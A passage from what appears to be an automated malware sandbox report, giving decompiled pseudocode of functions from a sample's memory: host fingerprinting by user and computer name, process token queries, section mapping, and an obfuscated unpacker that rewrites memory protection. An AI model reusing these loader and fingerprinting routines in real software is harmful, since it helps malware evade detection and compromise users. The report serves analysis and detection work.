				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L10002100();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x10004150;
				_push(_t15 + 0x1000505e);
				_push(_t15 + 0x10005054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L100020FA();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x10004140, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

0x1000102f
0x10001038
0x1000103c
0x10001042
0x10001047
0x1000104c
0x1000104f
0x10001052
0x10001057
0x10001058
0x1000105b
0x10001066
0x1000106d
0x10001071
0x10001073
0x10001074
0x10001077
0x1000107c
0x10001086
0x10001088
0x10001088
0x1000109c
0x100010a2
0x100010a6
0x100010f6
0x100010a8
0x100010b1
0x100010c7
0x100010cf
0x100010e1
0x100010e5
0x00000000
0x00000000
0x100010d1
0x100010d4
0x100010d9
0x100010db
0x100010db
0x100010bc
0x100010be
0x100010e7
0x100010e8
0x100010e8
0x100010b1
0x100010fe

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 1000103C
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 10001052
_snwprintf.NTDLL ref: 10001077
CreateFileMappingW.KERNELBASE(000000FF,10004140,00000004,00000000,?,?), ref: 1000109C
GetLastError.KERNEL32 ref: 100010B3
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 100010C7
GetLastError.KERNEL32 ref: 100010DF
CloseHandle.KERNEL32(00000000), ref: 100010E8
GetLastError.KERNEL32 ref: 100010F0

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction ID: fd2cfec1e864bf63db9aaa2ee4e5368c07c46789b5c4626883214d07a46f71c5
Opcode Fuzzy Hash: 659c6e22773efc5d4acf18c79085ac1006ba0f018220d8c2180b8ead122f5ef9
Instruction Fuzzy Hash: 6821CFB2500258BFE721EFA8CCC4EDE77ADEB483D0F118136F615D7159DAB099858BA0

Uniqueness

Uniqueness Score: -1.00%

Function 0092269C, Relevance: 12.1, APIs: 8, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0092269C(char __eax, signed int* __esi) {
				long _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				long _t34;
				signed int _t39;
				long _t50;
				char _t59;
				intOrPtr _t61;
				void* _t62;
				void* _t63;
				signed int* _t64;
				char _t65;
				intOrPtr* _t67;
				void* _t68;
				signed int* _t69;

				_t69 = __esi;
				_t65 = __eax;
				_v8 = 0;
				_v12 = __eax;
				if(__eax == 0) {
					_t59 =  *0x92d270; // 0xd448b889
					_v12 = _t59;
				}
				_t64 = _t69;
				E00926B43( &_v12, _t64);
				if(_t65 != 0) {
					 *_t69 =  *_t69 ^  *0x92d278 ^ 0x4c0ca0ae;
				} else {
					GetUserNameW(0,  &_v8); // executed
					_t50 = _v8;
					if(_t50 != 0) {
						_t62 = RtlAllocateHeap( *0x92d238, 0, _t50 + _t50);
						if(_t62 != 0) {
							if(GetUserNameW(_t62,  &_v8) != 0) {
								_t63 = _t62;
								 *_t69 =  *_t69 ^ E00922496(_v8 + _v8, _t63);
							}
							HeapFree( *0x92d238, 0, _t62);
						}
					}
				}
				_t61 = __imp__;
				_v8 = _v8 & 0x00000000;
				GetComputerNameW(0,  &_v8);
				_t34 = _v8;
				if(_t34 != 0) {
					_t68 = RtlAllocateHeap( *0x92d238, 0, _t34 + _t34);
					if(_t68 != 0) {
						if(GetComputerNameW(_t68,  &_v8) != 0) {
							_t63 = _t68;
							_t69[3] = _t69[3] ^ E00922496(_v8 + _v8, _t63);
						}
						HeapFree( *0x92d238, 0, _t68);
					}
				}
				asm("cpuid");
				_t67 =  &_v28;
				 *_t67 = 1;
				 *((intOrPtr*)(_t67 + 4)) = _t61;
				 *(_t67 + 8) = _t63;
				 *(_t67 + 0xc) = _t64;
				_t39 = _v16 ^ _v20 ^ _v28;
				_t69[1] = _t69[1] ^ _t39;
				return _t39;
			}

0x0092269c
0x009226a4
0x009226aa
0x009226ad
0x009226b0
0x009226b2
0x009226b7
0x009226b7
0x009226bd
0x009226bf
0x009226cc
0x0092272d
0x009226ce
0x009226d3
0x009226d9
0x009226de
0x009226ec
0x009226f0
0x009226ff
0x00922706
0x0092270d
0x0092270d
0x00922718
0x00922718
0x009226f0
0x009226de
0x0092272f
0x00922735
0x0092273f
0x00922741
0x00922746
0x00922755
0x00922759
0x00922764
0x0092276b
0x00922772
0x00922772
0x0092277e
0x0092277e
0x00922759
0x00922787
0x00922789
0x0092278c
0x0092278e
0x00922791
0x00922794
0x0092279e
0x009227a2
0x009227a6

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 009226D3
RtlAllocateHeap.NTDLL(00000000,?), ref: 009226EA
GetUserNameW.ADVAPI32(00000000,?), ref: 009226F7
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,009223D9), ref: 00922718
GetComputerNameW.KERNEL32(00000000,00000000), ref: 0092273F
RtlAllocateHeap.NTDLL(00000000,00000000), ref: 00922753
GetComputerNameW.KERNEL32(00000000,00000000), ref: 00922760
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,009223D9), ref: 0092277E

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: HeapName$AllocateComputerFreeUser
String ID:
API String ID: 3239747167-0
Opcode ID: cc2f3a55e4e57940fc7dbf48d618c533431d699da2d88192d9080094f8e92c8a
Instruction ID: c73cf2368a0899593695944a27edddce906a38a562dffc7c5a5ad08b78fda600
Opcode Fuzzy Hash: cc2f3a55e4e57940fc7dbf48d618c533431d699da2d88192d9080094f8e92c8a
Instruction Fuzzy Hash: C5310872A19205EFDB21DF69EC81A6EB7FDEF48310F204129E405D7224DB30EE46AB11

Uniqueness

Uniqueness Score: -1.00%

Function 009283B7, Relevance: 10.6, APIs: 7, Instructions: 81
nativeCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E009283B7(char _a4, void* _a8) {
				void* _v8;
				void* _v12;
				char _v16;
				void* _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				char _v40;
				void* _v44;
				void** _t33;
				void* _t40;
				void* _t43;
				void** _t44;
				intOrPtr* _t47;
				char _t48;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v20 = _a4;
				_t48 = 0;
				_v16 = 0;
				_a4 = 0;
				_v44 = 0x18;
				_v40 = 0;
				_v32 = 0;
				_v36 = 0;
				_v28 = 0;
				_v24 = 0;
				if(NtOpenProcess( &_v12, 0x400,  &_v44,  &_v20) >= 0) {
					_t33 =  &_v8;
					__imp__(_v12, 8, _t33);
					if(_t33 >= 0) {
						_t47 = __imp__;
						 *_t47(_v8, 1, 0, 0,  &_a4, _t43); // executed
						_t44 = E00922049(_a4);
						if(_t44 != 0) {
							_t40 =  *_t47(_v8, 1, _t44, _a4,  &_a4); // executed
							if(_t40 >= 0) {
								memcpy(_a8,  *_t44, 0x1c);
								_t48 = 1;
							}
							E00929039(_t44);
						}
						NtClose(_v8); // executed
					}
					NtClose(_v12);
				}
				return _t48;
			}

0x009283c4
0x009283c5
0x009283c6
0x009283c7
0x009283c8
0x009283cc
0x009283d3
0x009283e2
0x009283e5
0x009283e8
0x009283ef
0x009283f2
0x009283f5
0x009283f8
0x009283fb
0x00928406
0x00928408
0x00928411
0x00928419
0x0092841b
0x0092842d
0x00928437
0x0092843b
0x0092844a
0x0092844e
0x00928457
0x0092845f
0x0092845f
0x00928461
0x00928461
0x00928469
0x0092846f
0x00928473
0x00928473
0x0092847e

APIs

NtOpenProcess.NTDLL(00000000,00000400,?,?), ref: 009283FE
NtOpenProcessToken.NTDLL(00000000,00000008,?), ref: 00928411
NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0092842D

Part of subcall function 00922049: RtlAllocateHeap.NTDLL(00000000,00000000,00927E50), ref: 00922055

NtQueryInformationToken.NTDLL(?,00000001,00000000,00000000,00000000), ref: 0092844A
memcpy.NTDLL(00000000,00000000,0000001C), ref: 00928457
NtClose.NTDLL(?), ref: 00928469
NtClose.NTDLL(00000000), ref: 00928473

Memory Dump Source

Source File: 00000000.00000002.467876993.0000000000921000.00000020.00000001.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.467825516.0000000000920000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468057760.000000000092C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.468095252.000000000092D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.468173149.000000000092F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$CloseInformationOpenProcessQuery$AllocateHeapmemcpy
String ID:
API String ID: 2575439697-0
Opcode ID: 6fa9bd4e8b36f02549aa7770297bcfefac38d06faa9ad3af6018f671cd2228fe
Instruction ID: 54fb048ebe39d5bb32e376e2494a0965e7bd8fe2192434e349ed5e4f4efbcc55
Opcode Fuzzy Hash: 6fa9bd4e8b36f02549aa7770297bcfefac38d06faa9ad3af6018f671cd2228fe
Instruction Fuzzy Hash: 582132B2A05228FBDB11AF95DC86ADEBFBDEF48740F104022F900E6121D7719A55DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 10001EB5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E10001EB5(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E10001D9F(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x10001ebe
0x10001ec5
0x10001ec6
0x10001ec7
0x10001ec8
0x10001ec9
0x10001eda
0x10001ede
0x10001ef2
0x10001ef5
0x10001ef8
0x10001eff
0x10001f02
0x10001f09
0x10001f0c
0x10001f0f
0x10001f12
0x10001f17
0x10001f52
0x10001f19
0x10001f1c
0x10001f22
0x10001f27
0x10001f2b
0x10001f49
0x10001f2d
0x10001f34
0x10001f42
0x10001f42
0x10001f2b
0x10001f5a

APIs

NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74B04EE0,00000000,00000000,?), ref: 10001F12

Part of subcall function 10001D9F: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,10001F27,00000002,00000000,?,?,00000000,?,?,10001F27,00000002), ref: 10001DCC

memset.NTDLL ref: 10001F34

Strings

@, xrefs: 10001F02

Memory Dump Source

Source File: 00000000.00000002.472710577.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.472669156.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.472755418.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID: @
API String ID: 2533685722-2766056989
Opcode ID: ee04d3b80f2aa96c2028224801f0ff00ef799990c629de64b363f9b0c8c139ed
Instruction ID: 22cae9f40a45f0817b401b8017966300679b6c07c9eb41be9fd604c10ac2f23b
Opcode Fuzzy Hash: ee04d3b80f2aa96c2028224801f0ff00ef799990c629de64b363f9b0c8c139ed
Instruction Fuzzy Hash: 4821D8B6D00209AFDB11DFA9C8849EEFBB9EB48354F10447AE615F7210D735AA498B60

Uniqueness

Uniqueness Score: -1.00%

Function 026A348F, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 367
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E026A348F(signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi, signed int _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v32;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				void* __ebp;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t202;
				signed int _t205;
				signed int _t211;
				void* _t212;
				signed int _t215;
				signed int _t218;
				signed int _t221;
				signed int _t222;
				signed int _t223;
				signed int _t226;
				void* _t236;
				void* _t243;
				void* _t245;
				signed int _t247;
				signed int _t259;
				long _t262;
				long _t265;
				signed int _t270;
				signed int _t275;
				signed int _t278;
				signed int _t280;
				signed int _t282;
				void* _t286;
				signed int _t287;
				void* _t292;
				void* _t293;
				DWORD* _t294;
				signed int _t299;
				signed int _t302;
				signed int _t305;
				signed int _t308;
				void* _t309;
				signed int _t313;
				signed int _t320;
				long _t325;
				signed int* _t333;

				_t299 = __esi;
				_t275 = __edi;
				_t258 = __edx;
				_t229 = __ecx;
				_t223 = __ebx;
				if( *(__ebx + 0x41820f) == 0) {
					_push(_v20);
					 *_t333 = __ecx;
					_push(__edi);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 | __edx;
					_t195 =  *((intOrPtr*)(__ebx + 0x45d020))();
					_v20 = __ecx;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) & 0x00000000;
					 *(__ebx + 0x41820f) =  *(__ebx + 0x41820f) | __ecx ^ _v20 | _t195;
					_pop(_t258);
					_pop(_t229);
				}
				_push(_t325);
				 *_t333 =  *_t333 - _t325;
				 *_t333 =  *_t333 ^ _t258;
				if( *(_t223 + 0x418637) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 | _t229;
					_t195 =  *((intOrPtr*)(_t223 + 0x45d024))(_v12);
					_v12 = _t299;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) & 0x00000000;
					 *(_t223 + 0x418637) =  *(_t223 + 0x418637) | _t299 - _v12 ^ _t195;
					_t299 = _v12;
					_pop(_t229);
				}
				_v20 = _v20 & 0x00000000;
				_push(_v20);
				 *_t333 =  *_t333 ^ _t229;
				if( *(_t223 + 0x4181e7) == 0) {
					_v32 =  *((intOrPtr*)(_t223 + 0x418351));
					_t325 = _t325;
					_v40 =  *((intOrPtr*)(_t223 + 0x418073));
					_t320 = _t299;
					_t275 = _v44;
					_v44 =  *((intOrPtr*)(_t223 + 0x418147));
					_t195 =  *((intOrPtr*)(_t223 + 0x45d044))(_t275, _t275, _t325, _t325);
					_v20 = _t320;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) & 0x00000000;
					 *(_t223 + 0x4181e7) =  *(_t223 + 0x4181e7) | _t320 - _v20 | _t195;
					_t299 = _v20;
				}
				_v12 = _t275;
				_t197 = _t195 & 0x00000000 | _t275 ^ _v12 | _a4;
				_t278 = _v12;
				if( *(_t223 + 0x4182f3) == 0) {
					_v16 = _v16 & 0x00000000;
					_v32 = _v32 + _t197;
					_t222 =  *((intOrPtr*)(_t223 + 0x45d024))(_v16);
					_v12 = _t229;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) & 0x00000000;
					 *(_t223 + 0x4182f3) =  *(_t223 + 0x4182f3) | _t229 & 0x00000000 ^ _t222;
					_t229 = _v12;
					_pop(_t197);
				}
				_t198 = _t197 +  *((intOrPtr*)(_t197 + 0x3c));
				if( *(_t223 + 0x418577) == 0) {
					_v32 = _v32 - _t223;
					_v32 = _v32 + _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x418197));
					_v44 = _v44 & 0x00000000;
					_v44 = _v44 ^ _t278;
					_t229 = _v48;
					_v48 =  *((intOrPtr*)(_t223 + 0x418193));
					_v52 =  *((intOrPtr*)(_t223 + 0x418320));
					_t221 =  *((intOrPtr*)(_t223 + 0x45d048))(_v40, _t325, _t229, 0, _t223);
					_v12 = _t258;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) & 0x00000000;
					 *(_t223 + 0x418577) =  *(_t223 + 0x418577) | _t258 - _v12 ^ _t221;
					_t258 = _v12;
					_t198 = _t198;
				}
				_v20 = 0;
				_push(_v20);
				_v32 = _v32 | _t198;
				if( *(_t223 + 0x418583) == 0) {
					_v12 = _v12 & 0x00000000;
					 *_t333 =  *_t333 ^ _t198;
					_v40 =  *((intOrPtr*)(_t223 + 0x41848b));
					_v44 =  *((intOrPtr*)(_t223 + 0x4180ab));
					_t278 = _t278;
					_v48 = _t229;
					_v52 =  *((intOrPtr*)(_t223 + 0x4185df));
					_t299 = _t299;
					_v56 =  *((intOrPtr*)(_t223 + 0x418263));
					_t270 = _t258;
					_t218 =  *((intOrPtr*)(_t223 + 0x45d048))(_t229, _v16, _t229, _t198, _v12);
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) & 0x00000000;
					 *(_t223 + 0x418583) =  *(_t223 + 0x418583) ^ _t270 & 0x00000000 ^ _t218;
					_t258 = _t270;
					_t198 = _t278;
				}
				_v12 = _t299;
				_t280 = _t278 & 0x00000000 | _t299 & 0x00000000 ^ _t198;
				_t302 = _v12;
				if( *(_t223 + 0x418117) == 0) {
					_t215 =  *((intOrPtr*)(_t223 + 0x45d024))();
					_v12 = _t302;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) & 0x00000000;
					 *(_t223 + 0x418117) =  *(_t223 + 0x418117) ^ _t302 ^ _v12 ^ _t215;
					_t302 = _v12;
				}
				_t199 =  *(_t280 + 6) & 0x0000ffff;
				if( *((intOrPtr*)(_t223 + 0x41829b)) == 0) {
					_v16 = 0;
					 *_t333 =  *_t333 + _t199;
					_push( *((intOrPtr*)(_t223 + 0x45d024))(_v16));
					_pop( *_t108);
					_push(_v16);
					_pop( *_t110);
					_pop(_t199);
				}
				_v8 = _v8 & 0x00000000;
				_v8 = _v8 ^ _t302 ^  *_t333 ^ _t199;
				_t305 = _t302;
				if( *(_t223 + 0x41806f) == 0) {
					_push(_t325);
					 *_t333 =  *(_t223 + 0x4182df);
					_push(_t280);
					_push( *_t333);
					_v40 =  *((intOrPtr*)(_t223 + 0x418340));
					_pop(_t325);
					_v44 =  *((intOrPtr*)(_t223 + 0x41817b));
					_t243 = _t229;
					_v48 =  *((intOrPtr*)(_t223 + 0x4185ff));
					_t245 = _t243;
					_v52 =  *((intOrPtr*)(_t223 + 0x4184eb));
					_t247 = _t245;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d048))(_t325, _t243, _t199);
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) & 0x00000000;
					 *(_t223 + 0x41806f) =  *(_t223 + 0x41806f) | _t247 ^ _v56 ^ _t199;
					_t229 = _t247;
				}
				_push(_t258);
				 *_t333 =  *_t333 - _t258;
				 *_t333 = _t280;
				if( *(_t223 + 0x4180b7) == 0) {
					_t199 =  *((intOrPtr*)(_t223 + 0x45d024))();
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) & 0x00000000;
					 *(_t223 + 0x4180b7) =  *(_t223 + 0x4180b7) | _t229 - _v40 ^ _t199;
					_t229 = _t229;
				}
				_v20 = _t305;
				_t259 =  *(_t280 + 0x54);
				_t308 = _v20;
				if( *(_t223 + 0x41812b) == 0) {
					_v12 = _v12 & 0x00000000;
					_v40 = _v40 ^ _t259;
					_t199 =  *((intOrPtr*)(_t223 + 0x45d020))(_v12);
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) & 0x00000000;
					 *(_t223 + 0x41812b) =  *(_t223 + 0x41812b) | _t280 & 0x00000000 | _t199;
					_t280 = _t280;
					_pop(_t259);
				}
				_v12 = _t199;
				_t282 = _t280 & 0x00000000 ^ _t199 & 0x00000000 ^  *(_t223 + 0x4180f7);
				_t202 = _v12;
				if( *(_t223 + 0x4181df) == 0) {
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t259;
					_v48 =  *((intOrPtr*)(_t223 + 0x418444));
					_v16 = 0;
					_v52 = _v52 | _t223;
					_t202 =  *((intOrPtr*)(_t223 + 0x45d040))(_v16, _t259, 0, _t308);
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) & 0x00000000;
					 *(_t223 + 0x4181df) =  *(_t223 + 0x4181df) | _t229 - _v56 | _t202;
					_t229 = _t229;
					_pop(_t259);
				}
				_v40 = _t259;
				_t309 = _a4;
				_t262 = 0;
				_v16 = _t282;
				_t231 = _t229 & 0x00000000 | _t282 - _v16 | _t262;
				if(_v16 != _t309) {
					do {
						asm("movsb");
						_t231 = _t231 - 1;
					} while (_t231 != 0);
					_v12 = _t309;
					_t294 =  *(_t223 + 0x4180f7);
					_t309 = _v12;
					 *(_t223 + 0x4184cf) = 0x40;
					_v40 = _v40 & 0x00000000;
					_v40 = _v40 | _t223 + 0x004184cf;
					_v44 = 2;
					_v48 = _v48 - _t325;
					_v48 = _v48 | _t262;
					_v16 = _v16 & 0x00000000;
					_v52 = _v52 ^ _t294; // executed
					_t202 = VirtualProtect(_v16, _t325, _t262, _t294);
				}
				_pop(_t286);
				_t287 = _t286 + 0xf8;
				_t226 = _t223;
				do {
					_v12 = _v12 & 0x00000000;
					_push(_v12);
					 *_t333 =  *_t333 | _t287;
					_v16 = _t202;
					_t205 = _v16;
					_v16 = _t205;
					_t309 = (_t309 & 0x00000000 ^ _t202 & 0x00000000 ^ _a4) +  *((intOrPtr*)(_t287 + 0x14));
					_t202 = memcpy( *((intOrPtr*)(_t287 + 0xc)) +  *(_t226 + 0x4180f7), _t309, _t231 & 0x00000000 ^ _t205 & 0x00000000 ^  *(_t287 + 0x10));
					_t333 =  &(_t333[3]);
					_t231 = 0;
					_pop(_t292);
					_t287 = _t292 + 0x28;
					_t226 = _t226;
					_t187 =  &_v8;
					 *_t187 = _v8 - 1;
				} while ( *_t187 != 0);
				_pop(_t293);
				_push(_t325);
				_t211 = (_t202 & 0x00000000 | _t325 - _v32 |  *(_t293 + 0x28)) +  *(_t226 + 0x4180f7);
				_v32 = 0;
				 *(_t226 + 0x418418) = 0 ^ _t211;
				_t236 = 0;
				_v12 = _t262;
				_t313 = _t309 & 0x00000000 | _t262 & 0x00000000 ^  *(_t226 + 0x4180f7);
				_t265 = _v12;
				if(_t313 > 0) {
					_push(_t226);
					_v32 = _v32 ^ _t226;
					_v32 = _v32 | _t313;
					_t212 = E026A20EE(_t226, _t236, _t265, _t293, _t313);
					 *_t333 =  *_t333 & 0x00000000;
					 *_t333 =  *_t333 ^ _t313;
					_t211 = E026A5AF6(_t212, _t226, _t236, _t265, _t293, _t313, _t236);
				}
				return _t211;
			}

0x026a348f
0x026a348f
0x026a348f
0x026a348f
0x026a348f
0x026a349c
0x026a349e
0x026a34a1
0x026a34a4
0x026a34a5
0x026a34a9
0x026a34ac
0x026a34b2
0x026a34ba
0x026a34c1
0x026a34ca
0x026a34cb
0x026a34cb
0x026a34cc
0x026a34cd
0x026a34d0
0x026a34da
0x026a34dc
0x026a34e3
0x026a34e6
0x026a34ec
0x026a34f4
0x026a34fb
0x026a3501
0x026a3504
0x026a3504
0x026a3505
0x026a3509
0x026a350c
0x026a3516
0x026a3520
0x026a3524
0x026a352e
0x026a3532
0x026a353a
0x026a353a
0x026a353d
0x026a3543
0x026a354b
0x026a3552
0x026a3558
0x026a3558
0x026a355b
0x026a3567
0x026a3569
0x026a3573
0x026a3575
0x026a357c
0x026a357f
0x026a3585
0x026a358d
0x026a3594
0x026a359a
0x026a359d
0x026a359d
0x026a359e
0x026a35a8
0x026a35ab
0x026a35ae
0x026a35ba
0x026a35be
0x026a35c2
0x026a35cc
0x026a35cc
0x026a35d6
0x026a35d9
0x026a35df
0x026a35e7
0x026a35ee
0x026a35f4
0x026a35f7
0x026a35f7
0x026a35f8
0x026a35ff
0x026a3602
0x026a360c
0x026a360e
0x026a3615
0x026a361f
0x026a362a
0x026a362e
0x026a3632
0x026a363d
0x026a3641
0x026a364a
0x026a364e
0x026a364f
0x026a365b
0x026a3662
0x026a3668
0x026a3669
0x026a3669
0x026a366a
0x026a3675
0x026a3677
0x026a3681
0x026a3683
0x026a3689
0x026a3691
0x026a3698
0x026a369e
0x026a369e
0x026a36a1
0x026a36ac
0x026a36ae
0x026a36b8
0x026a36c1
0x026a36c2
0x026a36c5
0x026a36c8
0x026a36ce
0x026a36ce
0x026a36d5
0x026a36d9
0x026a36dc
0x026a36e4
0x026a36e6
0x026a36ed
0x026a36f0
0x026a36f1
0x026a36f8
0x026a36fc
0x026a3705
0x026a3709
0x026a3712
0x026a3716
0x026a371f
0x026a3723
0x026a3724
0x026a3730
0x026a3737
0x026a373d
0x026a373d
0x026a373e
0x026a373f
0x026a3742
0x026a374c
0x026a374e
0x026a375a
0x026a3761
0x026a3767
0x026a3767
0x026a3768
0x026a3770
0x026a3772
0x026a377c
0x026a377e
0x026a3785
0x026a3788
0x026a3794
0x026a379b
0x026a37a1
0x026a37a2
0x026a37a2
0x026a37a3
0x026a37b2
0x026a37b4
0x026a37be
0x026a37c1
0x026a37c5
0x026a37d1
0x026a37d4
0x026a37de
0x026a37e1
0x026a37ed
0x026a37f4
0x026a37fa
0x026a37fb
0x026a37fb
0x026a37fe
0x026a3806
0x026a3808
0x026a3809
0x026a3814
0x026a381b
0x026a381d
0x026a381d
0x026a381e
0x026a381e
0x026a3821
0x026a382c
0x026a382e
0x026a3831
0x026a3842
0x026a3846
0x026a384a
0x026a3852
0x026a3855
0x026a3858
0x026a385f
0x026a3862
0x026a3862
0x026a3868
0x026a3872
0x026a3874
0x026a3875
0x026a3875
0x026a3879
0x026a387c
0x026a387f
0x026a388d
0x026a3890
0x026a38a1
0x026a38ad
0x026a38ad
0x026a38ad
0x026a38af
0x026a38b9
0x026a38bb
0x026a38bc
0x026a38bc
0x026a38bc
0x026a38c1
0x026a38c2
0x026a38cf
0x026a38d7
0x026a38de
0x026a38e4
0x026a38e5
0x026a38f4
0x026a38f6
0x026a38fc
0x026a38fe
0x026a38ff
0x026a3902
0x026a3905
0x026a390b
0x026a390f
0x026a3912
0x026a3912
0x026a391a

APIs

VirtualProtect.KERNELBASE(00000000,?,00000000,?,?,00000000,00000000), ref: 026A3862

Strings

@, xrefs: 026A3831

Memory Dump Source

Source File: 00000000.00000002.470107216.00000000026A0000.00000040.00000001.sdmp, Offset: 026A0000, based on PE: true

Associated: 00000000.00000002.470182904.00000000026B8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.470196738.00000000026FD000.00000040.00000001.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction ID: d3166e96b468093fb34eb78f2f90bdf34af46272dcdcff939cfbe5c6ed5cf12d
Opcode Fuzzy Hash: 45ff06a93b9dab7e30dae66d33c620778585e23986d508cd26357393324dd102
Instruction Fuzzy Hash: D6F14C72804204EFEB049F64C9897ADBBF5FF84715F1584ADDC88AB245CB786550CF68

Uniqueness

Uniqueness Score: -1.00%

Function 10001745, Relevance: 3.1, APIs: 2, Instructions: 92
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001745(void* __edi, intOrPtr _a4) {
				signed int _v8;
				intOrPtr* _v12;
				_Unknown_base(*)()** _v16;
				signed int _v20;
				signed short _v24;
				struct HINSTANCE__* _v28;
				intOrPtr _t43;
				intOrPtr* _t45;
				intOrPtr _t46;
				struct HINSTANCE__* _t47;
				intOrPtr* _t49;
				intOrPtr _t50;
				signed short _t51;
				_Unknown_base(*)()* _t53;
				CHAR* _t54;
				_Unknown_base(*)()* _t55;
				void* _t58;
				signed int _t59;
				_Unknown_base(*)()* _t60;
				intOrPtr _t61;
